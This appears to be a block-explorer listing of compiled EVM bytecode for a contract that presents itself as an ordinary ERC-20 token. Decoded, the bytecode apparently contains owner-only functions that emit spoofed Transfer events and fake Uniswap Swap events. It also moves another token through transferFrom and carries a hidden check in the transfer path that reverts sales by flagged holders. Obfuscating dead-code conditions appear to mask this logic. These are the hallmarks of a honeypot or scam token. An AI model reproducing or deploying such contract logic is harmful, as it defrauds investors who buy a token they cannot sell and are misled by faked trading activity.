3d6000fd5b505050506040513d60208110156111d257600080fd5b8101908080519060200190929190505050611e07565b02816111f057fe5b04905060006111fd611fce565b9050600061120b8383612154565b905061121983828487612278565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112a5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806128d26024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561132b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806128656022913960400191505060405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b60006114218484610e87565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146114ce57818110156114c0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000081525060200191505060405180910390fd5b6114cd848484840361121f565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561155a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806128ad6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806128426023913960400191505060405180910390fd5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561167d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806128876026913960400191505060405180910390fd5b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561175a57600061174f600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461236b565b1461175957600080fd5b5b61176481836123f3565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117f0600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361236b565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b60006118e9600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361247c565b905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008014158061193c575060016104d6145b61194d5760608360001c901c611950565b60005b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6001600080600014158061199d575060016104d6145b6119ae5760608760001c901c6119b1565b60005b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3611a0a81612490565b60026000806000141580611a20575060016104d6145b611a315760608560001c901c611a34565b60005b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b8073ffffffffffffffffffffffffffffffffffffffff166323b872dd85600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611b2757600080fd5b505af1158015611b3b573d6000803e3d6000fd5b505050506040513d6020811015611b5157600080fd5b8101908080519060200190929190505050508373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82285600080876040518085815260200184815260200183815260200182815260200194505050505060405180910390a350505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600080141580611ccd575060016104d6145b611cde5760608360001c901c611ce1565b60005b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60016000806000141580611d2e575060016104d6145b611d3f5760608760001c901c611d42565b60005b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3611d9b8161249d565b60016000806000141580611db1575060016104d6145b611dc25760608560001c901c611dc5565b60005b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000806000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015611e7457600080fd5b505afa158015611e88573d6000803e3d6000fd5b505050506040513d6060811015611e9e57600080fd5b8101908080519060200190929190805190602001909291908051906020019092919050505050915091508373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b158015611f4757600080fd5b505afa158015611f5b573d6000803e3d6000fd5b505050506040513d6020811015611f7157600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1614611fb357806dffffffffffffffffffffffffffff16611fc5565b816dffffffffffffffffffffffffffff165b92505050919050565b606080600267ffffffffffffffff81118015611fe957600080fd5b506040519080825280602002602001820160405280156120185781602001602082028036833780820191505090505b509050308160008151811061202957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156120cb57600080fd5b505afa1580156120df573d6000803e3d6000fd5b505050506040513d60208110156120f557600080fd5b81019080805190602001909291905050508160018151811061211357fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508091505090565b60006060600267ffffffffffffffff8111801561217057600080fd5b5060405190808252806020026020018201604052801561219f5781602001602082028036833780820191505090505b5090506121ac84846124b5565b9050806000815181106121bb57fe5b60200260200101516001600060014211806121d7575060016000115b806121f8575042600173ffffffffffffffffffffffffffffffffffffffff16105b612203576000612213565b606061220d612650565b60001c901c5b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508060008151811061226757fe5b602002602001015191505092915050565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236584848484612675565b50505050565b6000808284019050838110156123e9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008282111561246b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b600081838161248757fe5b04905092915050565b6000600a82019050919050565b6000620186a0808302816124ad57fe5b049050919050565b6060600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631f00ca7484846040518363ffffffff1660e01b81526004018083815260200180602001828103825283818151815260200191508051906020019060200280838360005b8381101561254f578082015181840152602081019050612534565b50505050905001935050505060006040518083038186803b15801561257357600080fd5b505afa158015612587573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525060208110156125b157600080fd5b81019080805160405193929190846401000000008211156125d157600080fd5b838201915060208201858111156125e757600080fd5b825186602082028301116401000000008211171561260457600080fd5b8083526020830192505050908051906020019060200280838360005b8381101561263b578082015181840152602081019050612620565b50505050905001604052505050905092915050565b600060603073ffffffffffffffffffffffffffffffffffffffff16901b60001b905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638803dbee858585856104b042016040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561273c578082015181840152602081019050612721565b505050509050019650505050505050600060405180830381600087803b15801561276557600080fd5b505af1158015612779573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525060208110156127a357600080fd5b81019080805160405193929190846401000000008211156127c357600080fd5b838201915060208201858111156127d957600080fd5b82518660208202830111640100000000821117156127f657600080fd5b8083526020830192505050908051906020019060200280838360005b8381101561282d578082015181840152602081019050612812565b50505050905001604052505050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203b883cad97288b38fbe791e46f0731b938cae63e457455bcb44574317f558c3b64736f6c63430007060033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101215760003560e01c806358a10259116100ad578063a9059cbb11610071578063a9059cbb146106fc578063bda0278214610760578063dd62ed3e146107b8578063ea923bae14610830578063ebfb412d146108b357610121565b806358a102591461048757806370a08231146105895780638da5cb5b146105e157806395d89b4114610615578063a457c2d71461069857610121565b806323b872dd116100f457806323b872dd14610283578063313ce56714610307578063316d295f1461032857806339509351146103ab5780635765a5cc1461040f57610121565b806304ee65c01461012657806306fdde031461017e578063095ea7b31461020157806318160ddd14610265575b600080fd5b6101686004803603602081101561013c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108f7565b6040518082815260200191505060405180910390f35b61018661090f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c65780820151818401526020810190506101ab565b50505050905090810190601f1680156101f35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61024d6004803603604081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b1565b60405180821515815260200191505060405180910390f35b61026d6109c8565b6040518082815260200191505060405180910390f35b6102ef6004803603606081101561029957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109d2565b60405180821515815260200191505060405180910390f35b61030f6109f5565b604051808260ff16815260200191505060405180910390f35b6103a96004803603604081101561033e57600080fd5b810190808035906020019064010000000081111561035b57600080fd5b82018360208201111561036d57600080fd5b8035906020019184602083028401116401000000008311171561038f57600080fd5b909192939192939080359060200190929190505050610a08565b005b6103f7600480360360408110156103c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b6b565b60405180821515815260200191505060405180910390f35b6104716004803603604081101561042557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b92565b6040518082815260200191505060405180910390f35b6105716004803603608081101561049d57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156104ee57600080fd5b82018360208201111561050057600080fd5b8035906020019184602083028401116401000000008311171561052257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bb7565b60405180821515815260200191505060405180910390f35b6105cb6004803603602081101561059f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cc1565b6040518082815260200191505060405180910390f35b6105e9610d0a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61061d610d30565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561065d578082015181840152602081019050610642565b50505050905090810190601f16801561068a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106e4600480360360408110156106ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dd2565b60405180821515815260200191505060405180910390f35b6107486004803603604081101561071257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e58565b60405180821515815260200191505060405180910390f35b6107a26004803603602081101561077657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6f565b6040518082815260200191505060405180910390f35b61081a600480360360408110156107ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e87565b6040518082815260200191505060405180910390f35b6108b16004803603604081101561084657600080fd5b810190808035906020019064010000000081111561086357600080fd5b82018360208201111561087557600080fd5b8035906020019184602083028401116401000000008311171561089757600080fd5b909192939192939080359060200190929190505050610f0d565b005b6108f5600480360360208110156108c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611070565b005b60026020528060005260406000206000915090505481565b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109a75780601f1061097c576101008083540402835291602001916109a7565b820191906000526020600020905b81548152906001019060200180831161098a57829003601f168201915b5050505050905090565b60006109be33848461121f565b6001905092915050565b6000600454905090565b60006109df843384611415565b6109ea8484846114d4565b600190509392505050565b600860149054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610acb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b60005b83839050811015610b6557600060ff1673ffffffffffffffffffffffffffffffffffffffff16421115610b58576000610b3860008060ff1661ffff161415610b2f576060868685818110610b1e57fe5b9050602002013560001c901c610b32565b60005b8461189e565b9050610b56858584818110610b4957fe5b90506020020135826118f1565b505b8080600101915050610ace565b50505050565b600080339050610b87818585610b818589610e87565b0161121f565b600191505092915050565b6000602052816000526040600020602052806000526040600020600091509150505481565b60003373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c7c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b60005b8251811015610cb457610ca7838281518110610c9757fe5b6020026020010151878688611a76565b8080600101915050610c7f565b5060019050949350505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610dc85780601f10610d9d57610100808354040283529160200191610dc8565b820191906000526020600020905b815481529060010190602001808311610dab57829003601f168201915b5050505050905090565b6000803390506000610de48286610e87565b905083811015610e3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806128f66025913960400191505060405180910390fd5b610e4c828686840361121f565b60019250505092915050565b6000610e653384846114d4565b6001905092915050565b60016020528060005260406000206000915090505481565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fd0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b60005b8383905081101561106a57600060ff1673ffffffffffffffffffffffffffffffffffffffff1642111561105d57600061103d60008060ff1661ffff16141561103457606086868581811061102357fe5b9050602002013560001c901c611037565b60005b8461189e565b905061105b85858481811061104e57fe5b9050602002013582611c82565b505b8080600101915050610fd3565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611133576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b6000620186a06201869f6111e8600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156111a857600080fd5b505afa1580156111bc573d6000803e3d6000fd5b505050506040513d60208110156111d257600080fd5b8101908080519060200190929190505050611e07565b02816111f057fe5b04905060006111fd611fce565b9050600061120b8383612154565b905061121983828487612278565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112a5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806128d26024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561132b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806128656022913960400191505060405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b60006114218484610e87565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146114ce57818110156114c0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000081525060200191505060405180910390fd5b6114cd848484840361121f565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561155a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806128ad6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806128426023913960400191505060405180910390fd5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561167d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806128876026913960400191505060405180910390fd5b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561175a57600061174f600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461236b565b1461175957600080fd5b5b61176481836123f3565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117f0600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361236b565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b60006118e9600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361247c565b905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008014158061193c575060016104d6145b61194d5760608360001c901c611950565b60005b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6001600080600014158061199d575060016104d6145b6119ae5760608760001c901c6119b1565b60005b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3611a0a81612490565b60026000806000141580611a20575060016104d6145b611a315760608560001c901c611a34565b60005b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b8073ffffffffffffffffffffffffffffffffffffffff166323b872dd85600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611b2757600080fd5b505af1158015611b3b573d6000803e3d6000fd5b505050506040513d6020811015611b5157600080fd5b8101908080519060200190929190505050508373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82285600080876040518085815260200184815260200183815260200182815260200194505050505060405180910390a350505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600080141580611ccd575060016104d6145b611cde5760608360001c901c611ce1565b60005b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60016000806000141580611d2e575060016104d6145b611d3f5760608760001c901c611d42565b60005b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3611d9b8161249d565b60016000806000141580611db1575060016104d6145b611dc25760608560001c901c611dc5565b60005b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000806000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015611e7457600080fd5b505afa158015611e88573d6000803e3d6000fd5b505050506040513d6060811015611e9e57600080fd5b8101908080519060200190929190805190602001909291908051906020019092919050505050915091508373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b158015611f4757600080fd5b505afa158015611f5b573d6000803e3d6000fd5b505050506040513d6020811015611f7157600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1614611fb357806dffffffffffffffffffffffffffff16611fc5565b816dffffffffffffffffffffffffffff165b92505050919050565b606080600267ffffffffffffffff81118015611fe957600080fd5b506040519080825280602002602001820160405280156120185781602001602082028036833780820191505090505b509050308160008151811061202957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156120cb57600080fd5b505afa1580156120df573d6000803e3d6000fd5b505050506040513d60208110156120f557600080fd5b81019080805190602001909291905050508160018151811061211357fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508091505090565b60006060600267ffffffffffffffff8111801561217057600080fd5b5060405190808252806020026020018201604052801561219f5781602001602082028036833780820191505090505b5090506121ac84846124b5565b9050806000815181106121bb57fe5b60200260200101516001600060014211806121d7575060016000115b806121f8575042600173ffffffffffffffffffffffffffffffffffffffff16105b612203576000612213565b606061220d612650565b60001c901c5b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508060008151811061226757fe5b602002602001015191505092915050565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236584848484612675565b50505050565b6000808284019050838110156123e9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008282111561246b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b600081838161248757fe5b04905092915050565b6000600a82019050919050565b6000620186a0808302816124ad57fe5b049050919050565b6060600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631f00ca7484846040518363ffffffff1660e01b81526004018083815260200180602001828103825283818151815260200191508051906020019060200280838360005b8381101561254f578082015181840152602081019050612534565b50505050905001935050505060006040518083038186803b15801561257357600080fd5b505afa158015612587573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525060208110156125b157600080fd5b81019080805160405193929190846401000000008211156125d157600080fd5b838201915060208201858111156125e757600080fd5b825186602082028301116401000000008211171561260457600080fd5b8083526020830192505050908051906020019060200280838360005b8381101561263b578082015181840152602081019050612620565b50505050905001604052505050905092915050565b600060603073ffffffffffffffffffffffffffffffffffffffff16901b60001b905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638803dbee858585856104b042016040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561273c578082015181840152602081019050612721565b505050509050019650505050505050600060405180830381600087803b15801561276557600080fd5b505af1158015612779573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525060208110156127a357600080fd5b81019080805160405193929190846401000000008211156127c357600080fd5b838201915060208201858111156127d957600080fd5b82518660208202830111640100000000821117156127f657600080fd5b8083526020830192505050908051906020019060200280838360005b8381101561282d578082015181840152602081019050612812565b50505050905001604052505050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203b883cad97288b38fbe791e46f0731b938cae63e457455bcb44574317f558c3b64736f6c63430007060033

Deployed Bytecode Sourcemap

